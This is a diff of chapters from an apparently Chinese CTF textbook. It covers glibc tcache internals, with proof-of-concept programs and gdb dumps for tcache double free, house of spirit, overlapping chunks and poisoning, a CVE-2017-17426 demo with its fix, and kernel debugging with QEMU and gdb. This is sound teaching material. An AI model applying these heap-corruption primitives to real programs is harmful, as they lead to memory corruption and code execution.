||||
#endif
|
||||
```
|
||||
|
||||
- smallbin 中的情况与 fastbin 相似,双链表中的剩余 chunk 会被填充到 tcache bin 中,直到上限。
|
||||
|
||||
```c
|
||||
#if USE_TCACHE
|
||||
/* While we're here, if we see other chunks of the same size,
|
||||
@ -177,7 +189,9 @@ tcache_init(void)
|
||||
}
|
||||
#endif
|
||||
```
|
||||
|
||||
- binning code(chunk合并等其他情况)中,每一个符合要求的 chunk 都会优先被放入 tcache,而不是直接返回(除非tcache被装满)。寻找结束后,tcache 会返回其中一个。
|
||||
|
||||
```c
|
||||
#if USE_TCACHE
|
||||
/* Fill cache first, return to user only if cache fills.
|
||||
@ -195,7 +209,9 @@ tcache_init(void)
|
||||
```
|
||||
|
||||
触发从 tcache 中取出 chunk 的操作:
|
||||
|
||||
- 在 `__libc_malloc()` 调用 `_int_malloc()` 之前,如果 tcache bin 中有符合要求的 chunk,则直接将它返回。
|
||||
|
||||
```c
|
||||
#if USE_TCACHE
|
||||
/* int_free also calls request2size, be careful to not pad twice. */
|
||||
@ -216,7 +232,9 @@ tcache_init(void)
|
||||
DIAG_POP_NEEDS_COMMENT;
|
||||
#endif
|
||||
```
|
||||
|
||||
- bining code 中,如果在 tcache 中放入 chunk 达到上限,则会直接返回最后一个 chunk。
|
||||
|
||||
```c
|
||||
#if USE_TCACHE
|
||||
/* If we've processed as many chunks as we're allowed while
|
||||
@ -230,26 +248,31 @@ tcache_init(void)
|
||||
}
|
||||
#endif
|
||||
```
|
||||
|
||||
当然默认情况下没有限制,所以这段代码也不会执行:
|
||||
|
||||
```c
|
||||
.tcache_unsorted_limit = 0 /* No limit. */
|
||||
```
|
||||
|
||||
- binning code 结束后,如果没有直接返回(如上),那么如果有至少一个符合要求的 chunk 被找到,则返回最后一个。
|
||||
```c
|
||||
#if USE_TCACHE
|
||||
/* If all the small chunks we found ended up cached, return one now. */
|
||||
if (return_cached)
|
||||
{
|
||||
return tcache_get (tc_idx);
|
||||
}
|
||||
#endif
|
||||
```
|
||||
|
||||
```c
|
||||
#if USE_TCACHE
|
||||
/* If all the small chunks we found ended up cached, return one now. */
|
||||
if (return_cached)
|
||||
{
|
||||
return tcache_get (tc_idx);
|
||||
}
|
||||
#endif
|
||||
```
|
||||
|
||||
另外还需要注意的是 tcache 中的 chunk 不会被合并,无论是相邻 chunk,还是 chunk 和 top chunk。因为这些 chunk 会被标记为 inuse。
|
||||
|
||||
|
||||
## 安全性分析
|
||||
|
||||
`tcache_put()` 和 `tcache_get()` 分别用于从单链表中放入和取出 chunk:
|
||||
|
||||
```c
|
||||
/* Caller must ensure that we know tc_idx is valid and there's room
|
||||
for more chunks. */
|
||||
@ -276,9 +299,11 @@ tcache_get (size_t tc_idx)
|
||||
return (void *) e;
|
||||
}
|
||||
```
|
||||
|
||||
可以看到注释部分,它假设调用者已经对参数进行了有效性检查,然而由于对 tcache 的操作在 free 和 malloc 中往往都处于很靠前的位置,导致原来的许多有效性检查都被无视了。这样做虽然有利于提升执行效率,但对安全性造成了负面影响。
|
||||
|
||||
#### tcache_dup
|
||||
### tcache_dup
|
||||
|
||||
```c
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
@ -294,7 +319,8 @@ int main() {
|
||||
fprintf(stderr, "3rd malloc(0x10): %p\n", malloc(0x10));
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./tcache_dup
|
||||
1st malloc(0x10): 0x56088c39f260
|
||||
Freeing the first one
|
||||
@ -302,10 +328,12 @@ Freeing the first one again
|
||||
2nd malloc(0x10): 0x56088c39f260
|
||||
3rd malloc(0x10): 0x56088c39f260
|
||||
```
|
||||
|
||||
tcache_dup 与 fastbin_dup 类似,但其实更加简单,因为它并不局限于 fastbin,只要在 tcache chunk 范围内的都可以,而且 double-free 也不再需要考虑 top 的问题,直接 free 两次就可以了。然后我们就可以得到相同的 chunk。
|
||||
|
||||
第一次 free 后:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/4gx 0x0000555555756260-0x10
|
||||
0x555555756250: 0x0000000000000000 0x0000000000000021
|
||||
0x555555756260: 0x0000000000000000 0x0000000000000000
|
||||
@ -319,10 +347,12 @@ gdb-peda$ x/10gx 0x0000555555756000+0x10
|
||||
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||||
0x555555756050: 0x0000555555756260 0x0000000000000000 <-- entries
|
||||
```
|
||||
|
||||
chunk 被放入相应的 tcache bin 中,可以看到该 tcache bin 的 counts 被设为 1,表示有 1 个 chunk,入口为 0x0000555555756260。
|
||||
|
||||
第二次 free 后:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/4gx 0x0000555555756260-0x10
|
||||
0x555555756250: 0x0000000000000000 0x0000000000000021 <-- chunk 1 [double freed]
|
||||
0x555555756260: 0x0000555555756260 0x0000000000000000
|
||||
@ -333,10 +363,12 @@ gdb-peda$ x/10gx 0x0000555555756000+0x10
|
||||
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||||
0x555555756050: 0x0000555555756260 0x0000000000000000 <-- entries
|
||||
```
|
||||
|
||||
counts 变成 2,入口不变,表示 tcache bin 已经有两个 chunk 了,虽然是相同的。
|
||||
|
||||
两次 malloc 后:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/10gx 0x0000555555756000+0x10
|
||||
0x555555756010: 0x0000000000000000 0x0000000000000000 <-- counts
|
||||
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||||
@ -344,9 +376,11 @@ gdb-peda$ x/10gx 0x0000555555756000+0x10
|
||||
0x555555756040: 0x0000000000000000 0x0000000000000000
|
||||
0x555555756050: 0x0000555555756260 0x0000000000000000
|
||||
```
|
||||
|
||||
于是我们得到了两个指向同一块内存区域的指针。
|
||||
|
||||
#### tcache_house_of_spirit
|
||||
### tcache_house_of_spirit
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -376,7 +410,8 @@ int main() {
|
||||
fprintf(stderr, "malloc(0x100): %p\n", b);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./tcache_house_of_spirit
|
||||
We will overwrite a pointer to point to a fake 'smallbin' region.
|
||||
The chunk: 0x7fffffffdb00
|
||||
@ -385,10 +420,12 @@ Freeing the overwritten pointer.
|
||||
Now the next malloc will return the region of our fake chunk at 0x7fffffffdb00, which will be 0x7fffffffdb10!
|
||||
malloc(0x100): 0x7fffffffdb10
|
||||
```
|
||||
|
||||
tcache 在释放堆块时没有对其前后堆块进行合法性校验,只需要本块对齐(2*SIZE_SZ)就可以将堆块释放到 tcache 中,而在申请时,tcache 对内部大小合适的堆块也是直接分配的,导致常见的 house_of_spirit 可以延伸到 smallbin,而且比以前更加简单。
|
||||
|
||||
在栈上构造 fake chunk,大小为 smallbin:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/10gx fake_chunk
|
||||
0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk
|
||||
0x7fffffffdae0: 0x4141414141414141 0x4141414141414141
|
||||
@ -396,8 +433,10 @@ gdb-peda$ x/10gx fake_chunk
|
||||
0x7fffffffdb00: 0x4141414141414141 0x4141414141414141
|
||||
0x7fffffffdb10: 0x4141414141414141 0x4141414141414141
|
||||
```
|
||||
|
||||
free 掉之后,该 fake chunk 被放进 tcache bin:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/10gx fake_chunk
|
||||
0x7fffffffdad0: 0x0000000000000000 0x0000000000000110 <-- fake chunk [be freed]
|
||||
0x7fffffffdae0: 0x0000000000000000 0x4141414141414141
|
||||
@ -424,8 +463,10 @@ gdb-peda$ x/30gx 0x0000555555756000+0x10
|
||||
0x5555557560e0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557560f0: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
最后 malloc 即可将 fake chunk 取出来:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ p b
|
||||
$1 = (unsigned long long *) 0x7fffffffdae0
|
||||
gdb-peda$ p a
|
||||
@ -437,9 +478,11 @@ gdb-peda$ x/10gx fake_chunk
|
||||
0x7fffffffdb00: 0x4242424242424242 0x4242424242424242
|
||||
0x7fffffffdb10: 0x4242424242424242 0x4242424242424242
|
||||
```
|
||||
|
||||
于是我们就在得到了一个在栈上的 chunk。
|
||||
|
||||
#### tcache_overlapping_chunks
|
||||
### tcache_overlapping_chunks
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -470,7 +513,8 @@ int main() {
|
||||
fprintf(stderr, "p2: %p ~ %p\n", p2, (char *)p2+0x20-8);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./tcache_overlapping_chunks
|
||||
Allocated victim chunk with requested size 0x48: 0x555555756260
|
||||
Allocated sentry element after victim: 0x5555557562b0
|
||||
@ -480,10 +524,12 @@ Requested a chunk of 0x100 bytes
|
||||
p3: 0x555555756260 ~ 0x555555756368
|
||||
p2: 0x5555557562b0 ~ 0x5555557562c8
|
||||
```
|
||||
|
||||
在 `_int_free()` 时,libc 完全没有对 chunk 进行检查,所以我们可以直接修改其 size,在 free 时该 chunk 就被放进了不同的 tcache bin。在下一次 malloc 时得到不一样大小的 chunk,造成堆块重叠。
|
||||
|
||||
首先我们分配两个 chunk:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/16gx 0x555555756260-0x10
|
||||
0x555555756250: 0x0000000000000000 0x0000000000000051 <-- chunk p1
|
||||
0x555555756260: 0x4141414141414141 0x4141414141414141
|
||||
@ -494,8 +540,10 @@ gdb-peda$ x/16gx 0x555555756260-0x10
|
||||
0x5555557562b0: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557562c0: 0x4141414141414141 0x0000000000000411
|
||||
```
|
||||
|
||||
然后修改第一个的 size 并将其释放:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/16gx 0x555555756260-0x10
|
||||
0x555555756250: 0x0000000000000000 0x0000000000000110 <-- chunk p1 [be freed]
|
||||
0x555555756260: 0x0000000000000000 0x4141414141414141
|
||||
@ -525,10 +573,12 @@ gdb-peda$ x/30gx 0x0000555555756000+0x10
|
||||
0x5555557560e0: 0x0000000000000000 0x0000000000000000
|
||||
0x5555557560f0: 0x0000000000000000 0x0000000000000000
|
||||
```
|
||||
|
||||
可以看到 chunk p1 并没有放到它应该去的 tcache bin 中,而是放到了修改 size 后对应的 tcache bin。
|
||||
|
||||
最后将其 malloc 出来:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ p p3
|
||||
$1 = (intptr_t *) 0x555555756260
|
||||
gdb-peda$ p p2
|
||||
@ -555,9 +605,11 @@ gdb-peda$ x/36gx 0x555555756260-0x10
|
||||
0x555555756350: 0x4242424242424242 0x4242424242424242
|
||||
0x555555756360: 0x4242424242424242 0x0000000000000000
|
||||
```
|
||||
|
||||
于是 chunk p2 被 chunk p3 覆盖了。
|
||||
|
||||
#### tcache_poisoning
|
||||
### tcache_poisoning
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -586,7 +638,8 @@ int main() {
|
||||
fprintf(stderr, "The first malloc(0x30) returned %p, the second one: %p\n", p2, p3);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ ./tcache_poisoning
|
||||
Our target is a stack region at 0x7fffffffdcc0
|
||||
Allocated victim chunk with requested size 0x30 at 0x555555756670
|
||||
@ -595,10 +648,12 @@ Emulating corruption of the next ptr
|
||||
Now we make two requests for the appropriate size so that malloc returns a chunk overlapping our target
|
||||
The first malloc(0x30) returned 0x555555756670, the second one: 0x7fffffffdcc0
|
||||
```
|
||||
|
||||
该实例通过破坏 tcache bin 中 chunk 的 fd 指针,将其指向不同的位置,从而改变 `tcache_entry` 的 `next` 指针,在 malloc 时在任意位置得到 chunk。而 `tcache_get()` 函数没有对此做任何的检查。
|
||||
|
||||
分配一个 chunk p1 后释放,该 chunk 将被放入相应的 tcache bin,其 fd 指针被清空:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/10gx (void *)p1-0x10
|
||||
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed]
|
||||
0x555555756670: 0x0000000000000000 0x4141414141414141 <-- fd pointer
|
||||
@ -616,8 +671,10 @@ gdb-peda$ x/12gx 0x0000555555756000+0x10
|
||||
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||
0x555555756060: 0x0000555555756670 0x0000000000000000 <-- entries
|
||||
```
|
||||
|
||||
然后修改 fd 指针指向栈上的地址 target:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/10gx (void *)p1-0x10
|
||||
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p1 [be freed]
|
||||
0x555555756670: 0x00007fffffffdc80 0x4141414141414141 <-- fd pointer
|
||||
@ -625,8 +682,10 @@ gdb-peda$ x/10gx (void *)p1-0x10
|
||||
0x555555756690: 0x4141414141414141 0x4141414141414141
|
||||
0x5555557566a0: 0x4141414141414141 0x0000000000020961
|
||||
```
|
||||
|
||||
接下来的第一次 malloc 将 chunk p1 的地方取出:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/10gx (void *)p1-0x10
|
||||
0x555555756660: 0x0000000000000000 0x0000000000000041 <-- chunk p2
|
||||
0x555555756670: 0x4242424242424242 0x4242424242424242
|
||||
@ -641,10 +700,12 @@ gdb-peda$ x/12gx 0x0000555555756000+0x10
|
||||
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||
0x555555756060: 0x00007fffffffdc80 0x0000000000000000 <-- entries
|
||||
```
|
||||
|
||||
可以看到 tcache 的 entries 被修改为我们伪造的 fd 地址。
|
||||
|
||||
第二次 malloc,虽然 tcache bin 的 counts 为 0,但它并没有做检查,直接在 entries 指向的地方返回了一个 chunk:
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/10gx (void *)p3-0x10
|
||||
0x7fffffffdc70: 0x0000555555756670 0x00007fffffffdc80 <-- chunk p3
|
||||
0x7fffffffdc80: 0x4242424242424242 0x4242424242424242
|
||||
@ -652,10 +713,12 @@ gdb-peda$ x/10gx (void *)p3-0x10
|
||||
0x7fffffffdca0: 0x4242424242424242 0x4242424242424242
|
||||
0x7fffffffdcb0: 0x4242424242424242 0x0000000000000000
|
||||
```
|
||||
|
||||
于是我们得到了一个在栈上的 chunk。
|
||||
|
||||
有趣的是 tcache bin 的 counts 居然产生了整数溢出(`0x00-1=0xff`):
|
||||
```
|
||||
|
||||
```text
|
||||
gdb-peda$ x/12gx 0x0000555555756000+0x10
|
||||
0x555555756010: 0x0000000000ff0000 0x0000000000000000
|
||||
0x555555756020: 0x0000000000000000 0x0000000000000000
|
||||
@ -664,21 +727,23 @@ gdb-peda$ x/12gx 0x0000555555756000+0x10
|
||||
0x555555756050: 0x0000000000000000 0x0000000000000000
|
||||
0x555555756060: 0x00000000000000c2 0x0000000000000000
|
||||
```
|
||||
|
||||
看来这个机制仍然存在很多的问题啊。
|
||||
|
||||
注:突然发现这个 `0xff` 在 unsorted bin attack 里有很巧妙的用处,参考章节 3.1.8。
|
||||
|
||||
这一节的代码可以在[这里](../src/others/4.14_glibc_tcache)找到。其他的一些情况可以参考章节 3.3.6。
|
||||
|
||||
|
||||
## CTF 实例
|
||||
|
||||
在最近的 CTF 中,已经开始尝试使用 libc-2.26,比如章节 6.1.15、6.1.19 中的例子。
|
||||
|
||||
|
||||
## CVE-2017-17426
|
||||
|
||||
libc-2.26 中的 tcache 机制被发现了安全漏洞,由于 `__libc_malloc()` 使用 `request2size()` 来将所请求的分配大小转换为计算块大小,该函数不会进行整数溢出检查。所以如果请求一个非常大的堆块(接近 `SIZE_MAX`),将会导致整数溢出,从而导致 malloc 错误地返回了 tcache bin 里的堆块。
|
||||
|
||||
一个例子:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -692,7 +757,8 @@ int main() {
|
||||
printf("malloc(((size_t)~0) - 2): %p\n", y);
|
||||
}
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ gcc cve201717426.c
|
||||
$ /usr/local/glibc-2.26/lib/ld-2.26.so ./a.out
|
||||
malloc(10): 0x7f3f945ed260
|
||||
@ -701,10 +767,13 @@ $ /usr/local/glibc-2.27/lib/ld-2.27.so ./a.out
|
||||
malloc(10): 0x7f399c69e260
|
||||
malloc(((size_t)~0) - 2): (nil)
|
||||
```
|
||||
|
||||
可以看到在使用 libc-2.26 时,第二次 malloc 返回了第一次 free 的堆块。而在使用 libc-2.27 时返回 NULL,说明该问题已被修复。
|
||||
|
||||
#### patch
|
||||
### patch
|
||||
|
||||
该漏洞在 libc-2.27 的这次 [commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;h=34697694e8a93b325b18f25f7dcded55d6baeaf6) 中被修复。方法是用更安全的 `checked_request2size()` 替换 `request2size()`,以实现对整数溢出的检查:
|
||||
|
||||
```diff
|
||||
$ git show 34697694e8a93b325b18f25f7dcded55d6baeaf6 malloc/malloc.c | cat
|
||||
commit 34697694e8a93b325b18f25f7dcded55d6baeaf6
|
||||
@ -737,8 +806,8 @@ index 79f0e9eac7..0c9e0748b4 100644
|
||||
MAYBE_INIT_TCACHE ();
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [thread local caching in glibc malloc](http://tukan.farm/2017/07/08/tcache/)
|
||||
- [MallocInternals](https://sourceware.org/glibc/wiki/MallocInternals)
|
||||
- [CVE-2017-17426](https://sourceware.org/bugzilla/show_bug.cgi?id=22375)
|
||||
|
@ -5,29 +5,29 @@
|
||||
- [CTF 实例](#ctf-实例)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
在章节 1.5.9 中我们介绍了 Linux 系统调用的知识。这一节中将了解 `vsyscall` 和 `vDSO` 两种机制,它们被设计用来加速系统调用的处理。
|
||||
|
||||
## vsyscall
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/self/maps | grep vsyscall
|
||||
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
|
||||
```
|
||||
|
||||
|
||||
## vDSO
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/self/maps | grep vdso
|
||||
7fff223aa000-7fff223ac000 r-xp 00000000 00:00 0 [vdso]
|
||||
$ cat /proc/self/maps | grep vdso
|
||||
7fff1048f000-7fff10491000 r-xp 00000000 00:00 0 [vdso]
|
||||
```
|
||||
|
||||
|
||||
## CTF 实例
|
||||
|
||||
例如章节 6.1.6 的 ret2vdso。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- `man vdso`
|
||||
- [Creating a vDSO: the Colonel's Other Chicken](https://www.linuxjournal.com/content/creating-vdso-colonels-other-chicken)
|
||||
|
@ -6,12 +6,13 @@
|
||||
- [kdb](#kdb)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 准备工作
|
||||
|
||||
与用户态程序不同,为了进行内核调试,我们需要两台机器,一台调试,另一台被调试。在调试机上需要安装必要的调试器(如GDB),被调试机上运行着被调试的内核。
|
||||
|
||||
这里选择用 Ubuntu16.04 来展示,因为该发行版默认已经开启了内核调试支持:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /boot/config-4.13.0-38-generic | grep GDB
|
||||
# CONFIG_CFG80211_INTERNAL_REGDB is not set
|
||||
CONFIG_SERIAL_KGDB_NMI=y
|
||||
@ -24,38 +25,50 @@ CONFIG_KGDB_LOW_LEVEL_TRAP=y
|
||||
CONFIG_KGDB_KDB=y
|
||||
```
|
||||
|
||||
#### 获取符号文件
|
||||
### 获取符号文件
|
||||
|
||||
下面我们来准备调试需要的符号文件。看一下该版本的 code name:
|
||||
```
|
||||
|
||||
```text
|
||||
$ lsb_release -c
|
||||
Codename: xenial
|
||||
Codename: xenial
|
||||
```
|
||||
|
||||
然后在下面的目录下新建文件 `ddebs.list`,其内容如下(注意看情况修改Codename):
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /etc/apt/sources.list.d/ddebs.list
|
||||
deb http://ddebs.ubuntu.com/ xenial main restricted universe multiverse
|
||||
deb http://ddebs.ubuntu.com/ xenial-security main restricted universe multiverse
|
||||
deb http://ddebs.ubuntu.com/ xenial-updates main restricted universe multiverse
|
||||
deb http://ddebs.ubuntu.com/ xenial-proposed main restricted universe multiverse
|
||||
```
|
||||
|
||||
`http://ddebs.ubuntu.com` 是 Ubuntu 的符号服务器。执行下面的命令添加密钥:
|
||||
```
|
||||
|
||||
```text
|
||||
$ wget -O - http://ddebs.ubuntu.com/dbgsym-release-key.asc | sudo apt-key add -
|
||||
```
|
||||
|
||||
然后就可以更新并下载符号文件了:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo apt-get update
|
||||
$ uname -r
|
||||
4.13.0-38-generic
|
||||
$ sudo apt-get install linux-image-4.13.0-38-generic-dbgsym
|
||||
```
|
||||
|
||||
完成后,符号文件将会放在下面的目录下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ file /usr/lib/debug/boot/vmlinux-4.13.0-38-generic
|
||||
/usr/lib/debug/boot/vmlinux-4.13.0-38-generic: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, BuildID[sha1]=f00f4b7ef0ab8fa738b6a9caee91b2cbe23fef97, not stripped
|
||||
```
|
||||
|
||||
可以看到这是一个静态链接的可执行文件,使用 gdb 即可进行调试,例如这样:
|
||||
```
|
||||
|
||||
```text
|
||||
$ gdb -q /usr/lib/debug/boot/vmlinux-4.13.0-38-generic
|
||||
Reading symbols from /usr/lib/debug/boot/vmlinux-4.13.0-38-generic...done.
|
||||
gdb-peda$ p init_uts_ns
|
||||
@ -87,19 +100,24 @@ $1 = {
|
||||
}
|
||||
```
|
||||
|
||||
#### 获取源文件
|
||||
### 获取源文件
|
||||
|
||||
将 `/etc/apt/sources.list` 里的 `deb-src` 行都取消掉注释:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sed -i '/^#\sdeb-src /s/^#//' "/etc/apt/sources.list"
|
||||
```
|
||||
|
||||
然后就可以更新并获取 Linux 内核源文件了:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo apt-get update
|
||||
$ mkdir -p ~/kernel/source
|
||||
$ cd ~/kernel/source
|
||||
$ apt-get source $(dpkg-query '--showformat=${source:Package}=${source:Version}' --show linux-image-$(uname -r))
|
||||
```
|
||||
```
|
||||
|
||||
```text
|
||||
$ ls linux-hwe-4.13.0/
|
||||
arch CREDITS debian.master firmware ipc lib net security tools zfs
|
||||
block crypto Documentation fs Kbuild MAINTAINERS README snapcraft.yaml ubuntu
|
||||
@ -107,38 +125,44 @@ certs debian drivers include Kconfig Makefile samples sou
|
||||
COPYING debian.hwe dropped.txt init kernel mm scripts spl
|
||||
```
|
||||
|
||||
|
||||
## printk
|
||||
|
||||
在用户态程序中,我们常常使用 `printf()` 来打印信息,方便调试,在内核中也可以这样做。内核(v4.16.3)使用函数 `printk()` 来输出信息,在 `include/linux/kern_levels.h` 中定义了 8 个级别:
|
||||
|
||||
```c
|
||||
#define KERN_EMERG KERN_SOH "0" /* system is unusable */
|
||||
#define KERN_ALERT KERN_SOH "1" /* action must be taken immediately */
|
||||
#define KERN_CRIT KERN_SOH "2" /* critical conditions */
|
||||
#define KERN_ERR KERN_SOH "3" /* error conditions */
|
||||
#define KERN_WARNING KERN_SOH "4" /* warning conditions */
|
||||
#define KERN_NOTICE KERN_SOH "5" /* normal but significant condition */
|
||||
#define KERN_INFO KERN_SOH "6" /* informational */
|
||||
#define KERN_DEBUG KERN_SOH "7" /* debug-level messages */
|
||||
#define KERN_EMERG KERN_SOH "0" /* system is unusable */
|
||||
#define KERN_ALERT KERN_SOH "1" /* action must be taken immediately */
|
||||
#define KERN_CRIT KERN_SOH "2" /* critical conditions */
|
||||
#define KERN_ERR KERN_SOH "3" /* error conditions */
|
||||
#define KERN_WARNING KERN_SOH "4" /* warning conditions */
|
||||
#define KERN_NOTICE KERN_SOH "5" /* normal but significant condition */
|
||||
#define KERN_INFO KERN_SOH "6" /* informational */
|
||||
#define KERN_DEBUG KERN_SOH "7" /* debug-level messages */
|
||||
```
|
||||
|
||||
用法是:
|
||||
|
||||
```c
|
||||
printk(KERN_EMERG "hello world!\n"); // 中间没有逗号
|
||||
```
|
||||
|
||||
而当前控制台的日志级别如下所示:
|
||||
```
|
||||
|
||||
```text
|
||||
$ cat /proc/sys/kernel/printk
|
||||
4 4 1 4
|
||||
```
|
||||
|
||||
这 4 个数值在文件定义及默认值在如下所示:
|
||||
|
||||
```c
|
||||
// kernel/printk/printk.c
|
||||
|
||||
int console_printk[4] = {
|
||||
CONSOLE_LOGLEVEL_DEFAULT, /* console_loglevel */
|
||||
MESSAGE_LOGLEVEL_DEFAULT, /* default_message_loglevel */
|
||||
CONSOLE_LOGLEVEL_MIN, /* minimum_console_loglevel */
|
||||
CONSOLE_LOGLEVEL_DEFAULT, /* default_console_loglevel */
|
||||
CONSOLE_LOGLEVEL_DEFAULT, /* console_loglevel */
|
||||
MESSAGE_LOGLEVEL_DEFAULT, /* default_message_loglevel */
|
||||
CONSOLE_LOGLEVEL_MIN, /* minimum_console_loglevel */
|
||||
CONSOLE_LOGLEVEL_DEFAULT, /* default_console_loglevel */
|
||||
};
|
||||
|
||||
|
||||
@ -161,33 +185,41 @@ int console_printk[4] = {
|
||||
#define minimum_console_loglevel (console_printk[2])
|
||||
#define default_console_loglevel (console_printk[3])
|
||||
```
|
||||
|
||||
虽然这些数值控制了当前控制台的日志级别,但使用虚拟文件 `/proc/kmsg` 或者命令 `dmesg` 总是可以查看所有的信息。
|
||||
|
||||
|
||||
## QEMU + gdb
|
||||
|
||||
QEMU 是一款开源的虚拟机软件,可以使用它模拟出一个完整的操作系统(参考章节2.1.1)。这里我们介绍怎样使用 QEMU 和 gdb 进行内核调试,关于 Linux 内核的编译可以参考章节 1.5.9。
|
||||
|
||||
接下来我们需要借助 BusyBox 来创建用户空间:
|
||||
```
|
||||
|
||||
```text
|
||||
$ wget -c http://busybox.net/downloads/busybox-1.28.3.tar.bz2
|
||||
$ tar -xvjf busybox-1.28.3.tar.bz2
|
||||
$ cd busybox-1.28.3/
|
||||
```
|
||||
|
||||
生成默认配置文件并修改 `CONFIG_STATIC=y` 让它生成的是一个静态链接的 BusyBox,这是因为 qemu 中没有动态链接库:
|
||||
```
|
||||
|
||||
```text
|
||||
$ make defconfig
|
||||
$ cat .config | grep "CONFIG_STATIC"
|
||||
CONFIG_STATIC=y
|
||||
```
|
||||
|
||||
编译安装后会出现在 `_install` 目录下:
|
||||
```
|
||||
|
||||
```text
|
||||
$ make
|
||||
$ sudo make install
|
||||
$ ls _install
|
||||
bin linuxrc sbin usr
|
||||
```
|
||||
|
||||
接下来创建 initramfs 的目录结构:
|
||||
```
|
||||
|
||||
```text
|
||||
$ mkdir initramfs
|
||||
$ cd initramfs
|
||||
$ cp ../_install/* -rf ./
|
||||
@ -202,16 +234,21 @@ mount -t sysfs none /sys
|
||||
|
||||
exec /sbin/init
|
||||
```
|
||||
|
||||
最后把它们打包:
|
||||
```
|
||||
|
||||
```text
|
||||
$ find . -print0 | cpio --null -ov --format=newc | gzip -9 > ../initramfs.cpio.gz
|
||||
```
|
||||
|
||||
这样 initramfs 根文件系统就做好了,其中包含了必要的设备驱动和工具,boot loader 会加载 initramfs 到内存,然后内核将其挂载到根目录 `/`,并运行 `init` 脚本,挂载真正的磁盘根文件系统。
|
||||
|
||||
QEMU 启动!
|
||||
```
|
||||
|
||||
```text
|
||||
$ qemu-system-x86_64 -s -S -kernel ~/kernelbuild/linux-4.16.3/arch/x86_64/boot/bzImage -initrd ~/kernelbuild/busybox-1.28.3/initramfs.cpio.gz -nographic -append "console=ttyS0"
|
||||
```
|
||||
|
||||
- `-s`:`-gdb tcp::1234` 的缩写,QEMU 监听在 TCP 端口 1234,等待 gdb 的连接。
|
||||
- `-S`:在启动时冻结 CPU,等待 gdb 输入 c 时继续执行。
|
||||
- `-kernel`:指定内核。
|
||||
@ -220,7 +257,8 @@ $ qemu-system-x86_64 -s -S -kernel ~/kernelbuild/linux-4.16.3/arch/x86_64/boot/b
|
||||
- `-append "console=ttyS0`:所有内核输出到 ttyS0 串行控制台,并打印到终端。
|
||||
|
||||
在另一个终端里使用打开 gdb,然后尝试在函数 `cmdline_proc_show()` 处下断点:
|
||||
```
|
||||
|
||||
```text
|
||||
$ gdb -ex "target remote localhost:1234" ~/kernelbuild/linux-4.16.3/vmlinux
|
||||
(gdb) b cmdline_proc_show
|
||||
Breakpoint 1 at 0xffffffff8121ad70: file fs/proc/cmdline.c, line 9.
|
||||
@ -230,19 +268,22 @@ Continuing.
|
||||
Breakpoint 1, cmdline_proc_show (m=0xffff880006701b00, v=0x1 <irq_stack_union+1>) at fs/proc/cmdline.c:9
|
||||
9 seq_printf(m, "%s\n", saved_command_line);
|
||||
```
|
||||
|
||||
可以看到,当我们在内核里执行 `cat /proc/cmdline` 时就被断下来了。
|
||||
```
|
||||
/ # id
|
||||
|
||||
```text
|
||||
# id
|
||||
uid=0 gid=0
|
||||
/ # echo hello kernel!
|
||||
# echo hello kernel!
|
||||
hello kernel!
|
||||
/ # cat /proc/cmdline
|
||||
# cat /proc/cmdline
|
||||
console=ttyS0
|
||||
```
|
||||
|
||||
